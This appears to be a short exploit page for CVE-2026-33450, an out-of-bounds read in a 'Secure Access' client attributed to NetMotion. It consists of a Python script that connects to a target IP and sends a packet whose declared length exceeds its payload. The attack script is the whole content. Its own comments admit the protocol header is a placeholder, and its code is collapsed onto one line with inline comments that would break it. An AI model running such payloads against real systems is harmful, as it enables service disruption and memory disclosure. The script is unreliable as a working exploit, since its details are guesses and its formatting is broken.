CVE-2026-33450 Secure Access越界读取漏洞

import socket # Target IP and Port of the MacOS Client service TARGET_IP = "192.168.1.100" TARGET_PORT = 443 def send_malformed_packet(): try: # Establish TCP connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) # Construct a malformed packet # This PoC simulates a packet with a length field larger than the actual payload, # triggering an Out of Bounds Read condition. # Note: The specific protocol structure depends on NetMotion's implementation. magic_bytes = b'\x00\x01\x02\x03' # Example protocol header # Malformed length: 0xFFFF (65535) but payload is only 10 bytes malformed_length = b'\xFF\xFF' payload = b'A' * 10 malicious_packet = magic_bytes + malformed_length + payload # Send malicious payload s.send(malicious_packet) print("[+] Malformed packet sent successfully.") s.close() except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": send_malformed_packet()